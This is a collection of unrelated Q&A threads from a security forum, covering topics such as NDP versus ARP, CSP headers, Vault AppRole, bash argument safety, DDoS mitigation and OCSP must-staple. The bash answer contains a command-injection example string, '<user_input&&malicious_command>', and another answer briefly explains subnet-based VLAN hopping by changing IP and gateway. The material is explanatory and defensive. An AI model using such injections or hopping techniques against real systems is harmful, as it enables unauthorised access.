Does NDP (Neighbor Discovery Protocol) reduce ARP (Address Resolution Protocol) attacks? I read the comparison of NDP with ARP but am uncertain if NDP does reduce any amounts of ARP attacks, given that with NDP, ARP is not used for address resolution.

For the discussion to be specific, let us leave out the extension of NDP, SEND (Secure Network Discovery protocol).

Similar to typical ARP usage under IPv4 is the ND address resolution function, which is used when a host wants to transmit to an on-link prefix but doesn't yet know the layer two address of the destination host.
The sending host multicasts a neighbor solicitation, and the destination host, if reachable, responds with a neighbor advertisement containing its layer two address.

as in ARP, these exchanges are unsecured., but with The Secure Neighbor Discovery (SEND) Protocol prevents an attacker who has access to the broadcast segment from abusing NDP or ARP to trick hosts into sending the attacker traffic destined for someone else 'ARP poisoning'.

See this question for more explanation.


Ads on Checkout a Bad Idea™? Is it a categorically bad practice to run third-party aggregated ads on a checkout page where sensitive information is entered?

This sends of all kinds of alarm bells for me, but I've had a difficult time convincing the upper ranks that something should be done. Can anyone provided some reputable sources that explain this well, or perhaps tell me to chill out?

If third party ads are embedded as iframes they might be used for social and UI redressing attacks, i.e. simulate warnings, buttons, input fields for credit card or similar to trick the user. But with iframes it cannot be used to  steal user data from the original page. If ads are instead embedded as Javascript it gets even worse, since this way the code in the ads has full access to your site and can read and manipulate the page, which includes reading any data entered by the user.

This problem is not only restricted to the checkout page and also not only to ads but is relevant whenever you include third party Javascript libraries into your site and thus affects also social media buttons or similar. If you include third party script into a page  the third party can get full control of this page it cause actions with the identity of the currently logged in user.


Same password for full disk encryption, user account, admin account Consider a computer with only 1 user, but 3 passwords:

1 for Full Disk Encryption (FDE)
1 for a user account without administrative rights, which would be the account the user uses everyday
1 for an administrator user account, which would only be used when programs require elevated privileges

I was thinking about a Windows computer with Bitlocker, but the question could also apply to other FDE solutions (e.g. TrueCrypt/VeraCrypt), or even other operating systems (Linux, macOS, ...).

Of course, using 3 different passwords would be ideal in terms of security.

However, using a password manager isn't really possible for these passwords.

So, what are the security implications of using the same password for these 3 use cases?

I can think of the following risk: the FDE password is normally pretty safe against software keyloggers (I think), however the user account password and the admin account password aren't.

Are there other risks?

Alternatively, if using 2 different passwords, which one should be different from the other 2?

I'd say the one used for FDE should be different. It seems acceptable to have the same password for the user account and the admin account (provided there's only 1 user), in the same way sudo asks for the user's password (and not a root password) on Linux systems.

Those three passwords protect you from different threats. Which ones are most important will depend on your threat model.

The non-admin password protects your personal files from other non-admin users
The admin password protects your system from being modified by other non-admin users
The FDE passwords protects your system from attackers with physical access

As what the attacker may obtain from each one:

If the attacker obtains the non-admin password, s/he may try to use it to access admin accounts too. Therefore controlling the entire system.
If the attacker obtains the admin password, s/he controls the entire system  (Including non-admin accounts).
If an attacker obtains physical access to your computer and has the FDE password it doesn't matter the remaining passwords as s/he can change them.

IMHO, admin password and non-admin password should always be different. The risk of an attacker escalating privileges with the same password is too high. But maybe in your threat model it's not a major risk as you have only one account

About FDE, it's not a must have for every user. If physical access to your computer is part of your threat model (Like robbery, law enforcement or 3 letter agencies) then you should use a completely different password for this too. In case this is not part of your threat model it doesn't matter which password you use

About your assumption that FDE password are harder to obtain from software keyloggers, while this is true, an attacker that has been able to deploy a keylogger in your system may be equally capable of obtaining the encryption key from memory


Vault: How does AppRole authentication works? I have a server application (on dynamic infrastructure) which needs to retrieve a secret from Hashicorp Vault during startup.

Lets assume we need make this as secure as possible. From the docs and examples about AppRole authentication
i understand that, after a Vault admin has created the approle and the secret, the application needs to be configured with

The app role name
A token which allows to retrieve the app role id and create a new secret identifier under that role
The hostname/port and of the Vault server + SSL certificates

Then the application fetch the role id and create a new secret id (pull mode). With these both id's the application can now
perform a login on the Vault server to retrieve the final token which is used to retrieve the secret.
During this flow we could also wrap and unwrap every response (cubbyhole response wrapping) by setting X-Vault-Wrap-TTL and use
sys/wrapping/unwrap endpoint to unwrap.

First question: Does pull mode and/or response wrapping does really make sense here? I can not see the value of creating a secret id just to use it later for login.
I can also not see why i want to wrap my responses just to unwrap them.

If the above is correct then it looks to me that every person/machine which knows the role name and does have a token to fetch the role id and create a secret is able to retrieve the secret.

Second question: Having the app role name and the initial token in my configuration file does not make them really more secure because everyone which has access
to the Vault server just can read the secret with that. It seems that it would make sense to split configuration: Have the app role name in the config file and the token
somewhere else (in an env variable, etc).

Third question: The deprecated (push based) App ID seems to make more sense to me (for my case) because i can put the app id in the configfile and the use
a machine specific user id (like the mac address, ip address, hostname, etc) as the second secret. So why does pull mode AppRole authentication is preferred over push mode or App ID?

If you don't have another authenticated service already running (like a scheduler), I don't think there's much difference in security between push and pull mode. If I understand the workflow correctly, an attacker would need the token in the config file and the AppRole name and meet the restrictions set against the role (ip address, etc.) to gain access to all the secrets that the application would have access to (presuming the SSL certs are just to verify the vault server and not for authenticating to it).

Response wrapping is nice for ensuring the secret id is taken by the correct app and not picked up by an attacker. If a scheduler starts up an app and response wraps the secret id for it, then the app can send some sort of an alert if it can't read it, because it means something else already read it (and might use it to authenticate). If the app itself is pulling the secret id directly, I don't think wrapping it would make sense.
Splitting up where the components required for authenticating are located is probably a good idea.
I don't think push or pull mode are fundamentally more secure than the other with the authentication workflow you're describing.


Prevent a page from appearing in browser's history I have inherited an ASP website where sensitive data was passed in the query string as part of the URL. Something like this:

www.example.Com/Test?details=Username&moreDetails=blahblah

If we change this to encrypt the query string, so Username and moreDetails are not visible, I assume I still have the issue that this encrypted URL is stored in the browser's history, so it doesn't really handle the issue, does it? Am I correct that no-cache won't help either as although that may prevent it from being cached, I assume the URL will still be in the browser's history. Any way to prevent this?

I suppose the best solution is to use a POST and send the sensitive data in the body? But that's a bit of work.

The answer you don't want to hear is that you should modify the code to use POST instead of GET.

Generally, you should be using POST for almost all data being sent via the web. The real and only exclusion to this is data that is meant to be seen and manipulated by the end user. Examples of this might be:

User Profile
Post ID
Latitude & Longitude (Mapping)
Event Name/ID

This would allow a user to share and bookmark the site with all of the contained information in the URL. This can be advantageous for deciphering the content of the page, and easily modifying the query string to other values.

When you are transmitting any data consider to be sensitive, or otherwise not needed to be exposed, you should be using POST. Examples:

Username and Password
Personal identifying information
Almost all form elements dealing with registration


HTTP Header disabling non-SSL (or TLS) content on this page Is there an HTTP Response header that disallows any non-SSL content from being displayed on the current page?

The idea is some times external content that needs to be on the website (cough, ad engines, cough) may be slacking off with the SSL and in such a case I'd rather skip on this external content, than provide an opportunity for active MitM with all its consequences.

I know HSTS covers similar ground, but AFAIK it works on a host basis; that is sending HSTS means you indicate you want only HTTPS connections to your host, not that you won't be including non-HTTPS content from the HTML of your pages.

You want Content-Security-Policy. The following rule should fit you (but do check the other interesting options it provides):

Content-Security-Policy: default-src https:;

There's a good explanation at http://www.html5rocks.com/en/tutorials/security/content-security-policy/

You can view the spec at https://w3c.github.io/webappsec/specs/content-security-policy/


Medicare card & SSN - What can be done to prevent unauthorized SSN disclosure? Those of us on Medicare realize that the card displays our SSNs just like the Social Security card.

There was the case of the guy from LifeLock who published his, promising that his company would protect him.  It didn't go well.

Lifelock CEOs Indentity Stolen 13 Times (Wired)

Therefore, we can't trust the preeminent SSN-protection company from exploitation of unauthorized disclosure of our SSNs.

Yet every doctor wants to see it.  More importantly, so does the Emergency Room, which can happen without notice.  We may not even be conscious in order to recite it from memory.

So what can be done to prevent unauthorized disclosure of the SSN brought about by carrying the card, like if my wallet gets lost or stolen?

The Center for Medicare and Medicaid Services along with the Social Security Administration have long warned against carrying the cards themselves.

So now, the CMS has begun the process of issuing new Medicare cards which utilize a different number that does not contain the participant's SSN.

New Medicare cards are coming

New Medicare cards

These cards promise to be safe to carry and do not carry the same risk as the previous cards did.


DoS on an ordinary IP So, I understand DoSing to an HTTP Server. I understand Layer 7 DoS attacks and how to even make these work.

But what for an normal IP that isn't HTTP and is connected to the internet. Is the only way to attack them is by a bandwidth DDoS, which can be only done by more than 1 computer?

Pretend, I had my next door neighbors Internet protocol address. What is the most efficient way I can take it down or give it heavy load without requiring a bot net.

I'd like to know so I can protect my own IP so please answer without getting the wrong idea.

There are several ways to DoS an individual IP address, and to answer you're question you can still use an HTTP DoS attack if they have an HTTP port that's open, so ultimately the best type of DoS attack you would execute on an individual IP address directly relates to the results of a port scan or other methods of reconnaissance and information gathering you would have to complete on that sole IP.


Are alphanumeric strings safe to pass to a bash script? I'm currently developing a web service that takes user input and passes it to a bash script as an argument.

I know that without sanitizing this allows for remote command execution. So I want to know if alphanumeric strings with hyphens are safe to pass as arguments? An example of such an argument will be "51173bae-ef64-4664-8a4c-0cf75acc3783".

Any help is much appreciated.

Tl,DR: Yes. But beware that you misunderstand what's going on and this may be a source of vulnerabilities.

An argument of a program can be an arbitrary byte string that doesn't contain a null byte. The limitation with null bytes comes from the operating system. Depending on your programming language and its standard library, a null byte may be rejected, or it may be passed to the operating system which will truncate the argument at the first null byte.

Bash has no limitations on the content of arguments or more generally on the content of string variables, other than null bytes, which won't reach it anyway. However, beware that when using a locale with a multibyte character encoding such as UTF-8, string operations may give unexpected results on operands that contain byte sequences that aren't valid in the chosen encoding. ASCII strings (containing only code points 1–127) are always safe. Strings containing arbitrary sequences of non-null bytes are safe as long as you set LC_ALL=C or LC_CTYPE=C before manipulating them.

In bash, remember to always use double quotes around variable expansions and command substitutions (i.e. "$foo", not $foo). When you pass an argument to a program that takes command line options following Unix conventions, pass -- before the first non-option argument. See Why does my shell script choke on whitespace or other special characters? and Security implications of forgetting to quote a variable in bash/POSIX shells.

There is absolutely no problem with passing the argument <user_input&&malicious_command> to a bash script. That's a perfectly ordinary string. There is, however, a problem if you interpolate this string into a shell script. Passing an argument to a program and interpolating a string into a script are completely different operations. If you call your program through a function that wraps around exec (perhaps combined with fork as in spawn), this passes a list of strings as argument to the program and no interpolation is done. On the other hand, functions like system and popen take a single string as argument and they call a shell on that string. If you build this string by combining the name of a program and the argument(s) that you pass to this program, you need to take be careful with the content of the arguments. This has nothing to do with the program that you're calling, bash string or otherwise: the problem is that the intermediate shell parses the string. It's about how you call the program, not about the program you call.

If you call exec("foo.bash", my_string), everything is fine as long as my_string is a character string that doesn't contain nulls. If you call system("foo.bash " + my_string) (where + is string concatenation), this only works to pass the value of my_string as an argument if it doesn't contain characters that have a special meaning to the intermediate shell created by system.

The following characters have a special meaning to Unix shells, at least in some circumstances: null bytes, tab, newline (LF), space, !"#$&'()*;<=>?[\]^`{|}~. In particular, strings containing only digits, letters and - are safe. A safe way to protect a character string that doesn't contain null bytes is to replace each single quote ' by the 4-character sequence '\'' and surround the result with single quotes '…'. Note that this applies to Unix systems (including Linux, macOS, etc.), not to Windows which has a completely different shell. Note that in this paragraph, “safe” solely refers to the shell; as mentioned above, strings beginning with - are problematic when you invoke typical programs that take options following a Unix convention.

Avoid using functions that spawn an intermediate shell if you can. To call an external program, prefer functions that take the path to the program and the list of arguments separately.


HTTP attack taking down PHP-FPM Someone started attacking my site a few minutes ago and its caused PHP-FPM to max out all cores (4) on my vps and NGINX is now serving 502 to all users.

I'm seeing a bunch of these requests with tons of different agents

  xx.xxx.xx.xx - - [10/Nov/2014:5:14:35 -0500] "POST / HTTP/1.1" 502 574 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/536.11 (KHTML, like Gecko) Chrome/20.0.1132.47 Safari/536.11"

I'm also seeing a bunch of requests from various WordPress sites

  xxx.xx.xxx.xxx - - [10/Nov/2014:5:14:35 -0500] "GET / HTTP/1.0" 502 172 "-" "WordPress/3.9.2; http://www.xxxxxxx.com; verifying pingback from xx.xxx.xxx.xxx"

What kind of attack is this and how do I help mitigate it? Seems like some sort of botnet, its tons and tons of requests a second from all different IPs and agents.

I'm running a forum so my site heavily relies on nginx passing to php. I'm on NGINX 1.7.7 and PHP 5.6.2 if it matters. NGINX has practically zero load during the attack.

Edit: So apparently I didn't give enough information.

I run a pretty small forum - maybe 100-200 unique members a day. Normally very very low load - I have things cached and configured pretty well. Someone came on my site and TOLD me he was going to attempt to take down my website. A few minutes later, my logs were filled with hundreds (per second) of these POST and GETs from all different IPs and various wordpress blogs. The site started to serve 502 errors. I checked the server usage using HTOP and saw php5-fpm using almost 100% of all 4 cores of the VPS. I quickly shut down nginx and the load immediately went to zero. I left it off intentionally for a few hours and put it back up to find the attack had stopped.

While there is no active attack right now, i'd like to help mitigate what this user was able to do. I'm using OVHs network so I'm covered by their Anti DDoS VAC system - however this appears to be on the application level and obviously that wouldn't help me here.

I'm not too clever with web servers, so I don't know how to "check" what was in these post requests. All I see from my access logs are floods of unique IPs all doing POST to the root of my domain.

DDoS attack related charactaristics:

This definitely has the characteristics of Distributed Denial of Service (DDoS) attack, and this is the first thing I suspect.  The items that lead me to believe this are:

Wide variety of sources (distributed)

  I'm seeing a bunch of these requests with tons of different agents

(it appears in your log post the xxx.xxx.xxx.xxx would indicate that they are from a wide variety of IP addresses)

Similarity of requests

  I'm also seeing a bunch of requests from various WordPress sites

The similarity of the requests also leads me to believe Distributed Denial of Service.  For example, the owner of a botnet could be issuing the command to attack your server with this specific type of request.

"Flooding volume" of requests (denial of service)

Furthermore, the requests are of such volume that they are maxing out your resources.  If this is a sharp increase of volume, it is likely to be an attack, or possibly a bug.  It could also be that your site is becoming popular and you need more resources (especially if it has been a steady increase, and not a sharp spike in traffic).

How a DDoS attack can be performed:
In a DDoS attack, oftentimes a botnet of innocent user's computers taken over by malware is employed by the malicious botnet user to attack a specific site.  The flood of some type of request from many different sources is a characteristic of a DDoS attack.

Other possibilities:

Note: Your case appears to be a DDoS attack, and none of these other possibilities, based on your clarifications (especially since the guy said he was going to do it!)

Bug in code: As TidalWave mentioned, it could possibly be something wrong in your code, but I tend to lean toward it really is a genuine DDoS attack, especially since it wasn't happening before (unless you just recently put your site online).  One example I can think of where it could be your code is that your code sends something out to a bunch of sites that would make them send this traffic back to you.  Perhaps you could be sending something out over broadcast when it shouldn't be broadcast.  One thing to note is if this started happening right after you did an update, it would be more likely to be an issue in the code.
Increase in website traffic: Your site may becoming more popular!  This is more likely to be the case if your traffic has gone up steadily, and is finally maxing out your resources.  However, a sharp spike in activity (not related to a specific "event" on your website, such as a contest drawing being held now) would more likely indicate a DDoS attack.
It could be something else none of us have considered.

Mitigations:

Here are a few sites I found while researching preventing DDoS attacks:
http://www.itbusinessedge.com/slideshows/show.aspx?c=96534
http://www.cisco.com/c/en/us/support/docs/security-vpn/kerberos/13634-newsflash.html
http://www.networkworld.com/article/2170051/tech-primers/four-ways-to-defend-against-ddos-attacks.html

Here is what I gathered from them, as far as potential mitigations go:

Use an Internet Service Provider (ISP) that provides protection against DDoS, and that does not charge per bandwidth usage.
Adjust firewall settings (especially logging it for law enforcement)
Do it yourself (DIY) (probably not so good unless you are an expert in this area)
Enterprise DDoS prevention solutions (costly, and may still not work)
Cloud services designed to prevent DDoS attacks


Why does an anti-forgery token need so many bits? Google recommends using a 130-bit cryptographically-secure random number as an anti-forgery token.

Why do we need so many bits? If an attacker decides to mount a brute-force attack, wouldn't you be able to detect and lock them out after a few attempts? With as little as 30-bits, you've got 1 million possible tokens for 1000 concurrent users. Guessing the token using brute force seems extremely unlikely.

My point is that 30-40 bits of data seems very hard to break using brute force. So why does Google recommend 130-bits? Isn't that just overkill?

UPDATE: Okay, say you couldn't prevent a brute force attack...

According to this Quora post Facebook gets 500,000 unique visitors per minute.
Assuming each user makes one request per second, you've got one request per 2 microseconds.
Therefore, we can safely assume that (as of today) the most powerful attacker will be capable of sending at most one request per 2 microseconds.
Next, assume that we expire tokens after 5 minutes. This means that an attacker can fire 1.5*108 requests before the token expires.
Next, assume we want the attacker to have less than a 1% chance of guessing the token. Therefore we need a pool of 1.5*1010 tokens per active token.
So if you have 500,000 concurrent users (Facebook) you need 7.5*1015 tokens (one pool per user).
This means you need 53 bits of data, which again is nowhere near the 130 bits which Google is asking for.

Your question makes an assumption that should not be made in the field:

wouldn't you be able to detect and lock them out after a few attempts

Yes, in a good working environment there should be a system like this in place that rate-limits failures of various kinds. This is a good thing to do but it should never be your first or only line of defense. If your security model relies on an extra layer like this for its theoretical security, you are introducing an unnecessary point of failure and possible attack vector.
By keeping the the theoretical math that needs to be done out of reach, you reduce the risk posed by things which may be (or eventually end up) out of your control, such as a faulty rate limiter implementation or an inside attack job.


How to do layer 3 VLAN hopping? I am connected to 3 layer switch used to create IP subnet-based VLANs. Is there any way to do VLAN hopping? Note that this isn't using 802.1q; it's not port-based L2.

This can be easy as changing your IP address to one of the other subnets. Since you mentioned that this isn't port-based, then if there is no anti-spoofing rules on that switch you can do vlan hopping just like that. Try various gateways too, e.g. IP address from one LAN, and gateway from another. Sometimes works - on default setup with no filtering or routing policy this is the case on most switches.

You can see one vendor's implementation of subnet-based VLans and how they interact with the switch here starting on page 12: http://www.alliedtelesis.com/media/fount/how_to_note_alliedware_plus/overview_vlans.pdf


How to simply check if a certificate has the OCSP must-staple attribute? http://tools.ietf.org/html/rfc7633

https://blog.mozilla.org/security/2015/11/23/improving-revocation-ocsp-must-staple-and-short-lived-certificates/

How can I simple check if a certificate of a website has the OCSP must-staple extension ?

For example to check if a let's encrypt certificate has that property when asked: https://community.letsencrypt.org/t/improving-revocation-will-lets-encrypt-support-ocsp-must-staple/4334/20

If you parse the certificate using openssl x509 -text, you'll get:

Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number:
            31:64:4e:0c:95:4d:02:eb:78:97:11:6f:62:ee:71:02
    Signature Algorithm: ecdsa-with-SHA256
        Issuer: C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO ECC Domain Validation Secure Server CA
        Validity
            Not Before: Dec  7 00:00:00 2015 GMT
            Not After : Dec  6 23:59:59 2016 GMT
        Subject: OU=Domain Control Validated, OU=GGSSL Domain SSL, CN=must-staple-no-ocsp.serverhello.com
        Subject Public Key Info:
            Public Key Algorithm: id-ecPublicKey
                Public-Key: (384 bit)
                pub:
                    04:11:7d:2b:99:af:dc:5a:4e:af:83:90:df:52:50:
                    3c:dc:52:08:0d:80:4c:b3:e3:fd:07:9c:99:6f:2c:
                    ab:1d:c0:ad:3e:c9:7c:da:25:f0:c2:e0:24:9b:b5:
                    fa:45:cf:e8:f6:cb:5d:7a:ce:a8:01:b5:af:5a:14:
                    03:fe:7c:6d:db:f3:ed:97:ea:08:cd:33:50:0f:09:
                    f1:00:50:ba:ae:ed:d2:a4:85:5b:4b:97:bf:0b:bf:
                    10:70:e1:32:83:70:d2
                ASN1 OID: secp384r1
        X509v3 extensions:
            X509v3 Authority Key Identifier:
                keyid:BB:FA:08:E0:BF:54:EE:5A:FD:16:A4:35:02:09:A9:A4:C8:EC:FD:4B

            X509v3 Subject Key Identifier:
                1E:4C:D6:4E:0C:75:9F:9A:E9:A4:C0:2E:44:BF:41:02:44:16:B7:B9
            X509v3 Key Usage: critical
                Digital Signature
            X509v3 Basic Constraints: critical
                CA:FALSE
            X509v3 Extended Key Usage:
                TLS Web Server Authentication, TLS Web Client Authentication
            X509v3 Certificate Policies:
                Policy: 1.3.6.1.4.1.6449.1.2.2.7
                  CPS: https://secure.comodo.com/CPS
                Policy: 2.23.140.1.2.1

            X509v3 CRL Distribution Points:

                Full Name:
                  URI:http://crl.comodoca.com/COMODOECCDomainValidationSecureServerCA.crl

            Authority Information Access:
                CA Issuers - URI:http://crt.comodoca.com/COMODOECCDomainValidationSecureServerCA.crt
                OCSP - URI:http://ocsp.comodoca.com

            1.3.6.1.5.5.7.1.24:
                0....
            X509v3 Subject Alternative Name:
                DNS:must-staple-no-ocsp.serverhello.com, DNS:www.must-staple-no-ocsp.serverhello.com
    Signature Algorithm: ecdsa-with-SHA256
         30:44:02:20:66:ed:0b:d2:4b:0a:97:15:29:91:54:5b:03:df:
         97:ac:b8:f4:dc:cc:43:7b:08:eb:b9:50:cf:16:c2:ac:6f:4e:
         02:20:6e:5c:4d:92:eb:b0:22:b6:91:41:e8:e1:a7:d2:27:cc:
         ef:65:d5:e9:76:9a:a8:1d:d1:b1:1b:7d:79:8c:2c:0b

but openssl s_client -trace will show this:

            TLS Feature:
                status_request

instead of

            1.3.6.1.5.5.7.1.24:
                0....

"1.3.6.1.5.5.7.1.24" is the number in the RFC where it is written in the form "1.3.6.1.5.5.7.1" "24". According to the RFC, it "In particular, the TLS feature extension may be used to mandate support for revocation checking features in the TLS protocol such as Online Certificate Status Protocol (OCSP) stapling."

So, if you need to do it once while debugging, openssl s_client -connect must-staple-no-ocsp.serverhello.com:443 -servername must-staple-no-ocsp.serverhello.com -status, copying the cert PEM into a file, openssl x509 -text -noout -in foo.pem | grep 1.3.6.1.5.5.7.1.24 will be ok. If you need it packaged in an API, that's more complicated.


Are the malware signatures used by AVs primarily created by human analysts or by automated means? I've only ever read about human analysts creating signatures, but it seems like automated signature derivation would be less time-consuming and I'm surprised that I'm not seeing more about automated signature derivation. Is automated signature derivation used or do we still rely primarily on human analysts to do this?

Disclosure: I'm working for an anti-malware vendor.

First, there is no anti-malware vendor which operates exclusively on signatures. Even free ClamAV is using more than signatures. So I'll address this question as related to "automated detection measures".

Several vendors I worked for in past use automated means to create malware detection rules. According to hearsay, this also seem to be the case at all other major security vendors.

The reason for that is the sheer volume of new malware. AV-TEST Institute, a reputable independent testing organization, states: "Every day, the AV-TEST Institute registers over 350,000 new malicious programs (malware) and potentially unwanted applications (PUA)." While those numbers include all malware, including polymorphic and metamorphic, the number of new detection rules needed in a day generally exceeds the number of minutes in a day. Thus for most vendors it is fully automated task.

Human effort however is still used to:

Create generic detectors - the rules which can detect polymorphic/metamorphic/obfuscated/encrypted content. A "dumb" signature cannot detect those, so there are different code pieces doing that.
Create proactive detectors. Those are targeting certain traits in malware which are unlikely to change fast enough (such as certain hardcoded strings, certain way functions are called, some unique libraries used). Using those as a base, it is possible to proactively detect new malware from the same author/group before it is even released.
Creating the disinfection routines. Those cannot be generated automatically, code needs to be written, tested and so on.

Of course maintaining the automatic detection systems is also where lots of effort goes.


How safe is this "Multidimensional-Encryption method" (includes xAES, familiar from Unseen.is)? I would like to ask about this encryption
method that I found: USPTO patent and it is related to this question here: A service that claims beyond army level encryption and Unseen.is encryption claims revisited with their proprietary, patented “xAES” algorithm. Didn't see any updates on this matter for a long time, so after I had found the patent had appeared online, wanted to ask you experts what do you think about this? Have we found an quantum computing resistant encryption method for the future generations? Thank you in advance.

Example chapter from the patent documentation:

  [0020] While the example above uses the simple Caesar cipher in association with a key for encryption, more complex encryption algorithms such as NTRU, Advanced Encryption Standard (AES), and extended Advanced Encryption Standard (xAES), also use a key as mentioned above in order to encrypt and decrypt data. It should be noted that the encryption algorithm 106 may use any one of these encryption algorithms in accordance with an embodiment of the present invention. The keys associated with these encryption algorithms are significantly more complex than the Caesar cipher and have considerably more characters. Nonetheless, these advanced encryption algorithms use the same principles as the Caesar cipher during encryption and decryption processes. More specifically, each of these encryption algorithms processes data using the encryption algorithm and a key during encryption and decryption. However, the key used with these encryption algorithms have a finite number of bytes. In many instances, these encryption algorithms use a key having 256 bytes, or 32 characters, that are generated using a random number generator. Based on this finite number of keys, unauthorized third parties may correctly guess the key and then, in conjunction with the encryption algorithm, decrypt the encrypted content. In other words, unauthorized third parties may use the key with the encryption algorithms noted above to decrypt encrypted data.

An encryption patent is a contradiction in terms these days.  Nobody (in the large) is going to spend the effort to evaluate a patented method. At best, you would read the patent filing and determine that it's a cheesy version of something that exists and expose yourself to triple damages because you read a patent that should have been rejected based on an immense amount of prior art that should have been discovered, but wasn't because the filing is basically dishonest about this.


Strange requests to my server I recently checked my logs and found some strange requests to my server. eg

GET /path/Microsoft.XMLHTTP HTTP/1.0
GET /path2/Scripting.FileSystemObject HTTP/1.0

A further check seems to point to some robot doing web site archival. Would a web archival bot execute such requests in the form of commands to archive our site?

For example, if it is from Internet Archive or some library which does archival, would these archival bots actually perform such requests ? I though they would just do spidering or grab the whole website, and not invoke such commands.

Update:

Upon further investigation, I found that the archival bot probably went deeper into analysing a javascript at that page and grabbing those statements that contain Scripting.FileSystem, eg

var FSO = new ActiveXObject("Scripting.FileSystemObject");

Probably the reason is the bot needs to get everything that it could find, so even ActiveXobjects. Is it logical to think this way?

This appears to be a bot looking for common vulnerabilities in websites. Such bots are very commonly run by black-hat hackers to identify potential hacking targets. All websites get scanned by such bots regularly. It is unlikely to be an attack specifically targeted at you.

The only useful defense is to make sure that you don't have any vulnerable web applications on your site. If you use any standard software on your server (on the whole stack from operating system to individual scripts), make sure they are always up to date.


SSL Test Server with typicals Flaws i am testing different SSL-Proxys and want to know more about their failure-handling.

Do you know about an public (test)server (HTTPS) which provides the typical flaws like:

Expired certificate
Self-signed certificate
Multiple Domains (SNI)
etc

Edit: An testsuite/tool would be fine too.

p.S. i am not looking for an SSL-testsite like SSLlabs

thank you in advance!

A good general tool to use when testing and learning about pen-testing is Kali Linux. It comes with both test targets and tools. You can use VirtualBox to host it on an existing machine if you don't have another machine to use.


Chrome flagged a website as insecure and it is asking for my credit card details I verified that the root CA AddTrust External CA Root is installed in the Windows 10 certificate store. How else can I fix this from a client perspective ?

$ openssl s_client -connect service.electrostub.com:443 -tls1_2
depth=2 C = GB, ST = Greater Manchester, L = Salford,
    O = COMODO CA Limited, CN = COMODO RSA Certification Authority
verify error:num=20:unable to get local issuer certificate
verify return:0
---
Certificate chain
 0 s:/OU=Domain Control Validated/OU=PositiveSSL Wildcard/CN=*.electrostub.com
   i:/C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA
Domain Validation Secure Server CA
 1 s:/C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA
Domain Validation Secure Server CA
   i:/C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA Certification Authority
2 s:/C=GB/ST=Greater Manchester/L=Salford/O=COMODO CA Limited/CN=COMODO RSA Certification Authority
   i:/C=SE/O=AddTrust AB/OU=AddTrust External TTP Network/CN=AddTrust External CA Root

verify error:num=20:unable to get local issuer certificate

First, openssl s_client is not using the Windows certificate store but requires a certificate store in a different format and in a different location - and commonly there is nothing installed there on Windows. That's why it cannot find the root CA in the local trust store which results in the error message you see.

But, the certificate validates correctly in Edge, IE and Chrome since these all use the Windows builtin trust store. And while Firefox does not use the OS builtin trust store it ships with its own which also contains the required root CA.

The real reason the site is reported is insecure is because it forwards HTTPS traffic to plain HTTP. This means while it has a valid and properly installed SSL certificate and could in theory use HTTPS to protect the connection it explicitly abandons HTTPS and forces the browser to use plain unprotected and insecure HTTP:

$ curl -v https://service.electrostub.com
...
< HTTP/1.1 302 Found
...
< Location: http://service.electrostub.com/index.cfm?
            ^^^^^

If this is by design or because of a misconfiguration of the site I don't know, although misconfiguration is more likely. From the client side there is nothing you could do to fix this problem. Instead it needs to be fixed by the operators of the server.


Is it secure to return a JWT to an already-logged-in user? I'm using JWT to handle an SSO scheme where two systems (let's call them A and B) both require authentication, but the user datastore is in one system only (let's say A).  Everything I've seen about JWT involves the user posting username/password in order to receive the JWT, but what I'm wondering is if it's secure to return a JWT to an already-logged-in user.

To make it a bit more concrete, the authenticating system A (example.com) uses cookie/session based auth, but the second system B (subdomain.example.com) needs the JWT to authenticate.  We don't want to force already-logged-in users who have a session cookie to input username/password again in order to get a JWT, so we're thinking we'll implement an API endpoint that returns a JWT to a user who is already logged in (via session auth), which the user can then user to authenticate with system B.  In particular, we're using Django REST Framework JWT, which gives the option to manually create the JWT: https://getblimp.github.io/django-rest-framework-jwt/#creating-a-new-token-manually

So e.g. we'd have an API endpoint where you can GET https://systemA.com/api/gimme-jwt/

if user is already authed:
    return JWT
else:
    return 401

Again, the key difference between this and everything I've seen is that we're returning a JWT to a user who has already logged in.

Providing a JWT token to the authenticated user is not a problem, but you shoud take into account the following considerations:

Are your environment secure (is it internal or public network)? Do your use secure transport (TLS) for communications?
If not,you shoud care about token integrity and privacy using JWS and\or JWE
Do you transfer any PII (Personally identifiable information) data?
If so, you should always use encryption for the tokens.

Anyway, before using JWT tokens look into OpenID Connect specification http://openid.net/specs/openid-connect-core-1_0.html that actually describes how to use JWT tokens for SSO, some common vulnerabilities and privacy issues.


Salting/Hashing a password I don't have a security background, so I'm not sure on the best approach for this, I'm developing an android app which users will need to login to (all local). I'm going to store the password in a sharedPreference and found this. If I understand it correctly, it doesn't seem to be salting it, so I was thinking about adding a digest.update(byte[]) after the 'MessageDigest digest = MessageDigest.getInstance("SHA-256");' line. Is that a good way to do it? Or should I pass in base + salt to the hash as a parameter?

Also, is a salt + hash safe enough? Or is it better to just use an actual encryption function (the ones I'm looking at right now are bCrypt and pbkdf2)? Open to any recommendations.

Depends on what you are attempting to protect against.

If the password is validated by code that runs on the app, it is subject to tampering, so no amount of encryption or hashing will protect against the ability to execute the (tampered) code without the password.

If the purpose of the password is simply to provide a modicum of protection against casual misuse (e.g. don't want your wife opening up the app) then local hash + salt is probably OK.


How likely is that my ECDHE-RSA-AES256-GCM-SHA384 application will be cracked? I am using the following chain in my cipher: ECDHE-RSA-AES256-GCM-SHA384

I am wondering if there's a weak chain in this cipher that might allow my application's communications to be cracked?

I'm new to cryptography and don't understand every detail. (I did Google them each, and they are saying it's secure but you guys have deeper knowledge and it's why I came to you.)

How likely is that my ECDHE-RSA-AES256-GCM-SHA384 application will be cracked?

It is very unlikely that an application using the cipher will be cracked because of a weakness in the cipher. It might though be cracked by a bad implementation of this cipher, by a wrong use of this cipher or by anything outside of this cipher - like trying to protect information using the cipher which can be grabbed by the attacker as plain data before encryption or after decryption.

In summary: the usage of a specific cipher alone does not say much about the security of the application. Instead the full application has to be audited including the environment where it is used and how it is used.


Windows forensic files I'd like to back up important Windows files for forensic purposes. I am aware of the Event Logs and Anti Virus logs, are there any other logs or files that have personal use information, connections or any other important information that could be backed up aside from that? If so, where is it located?

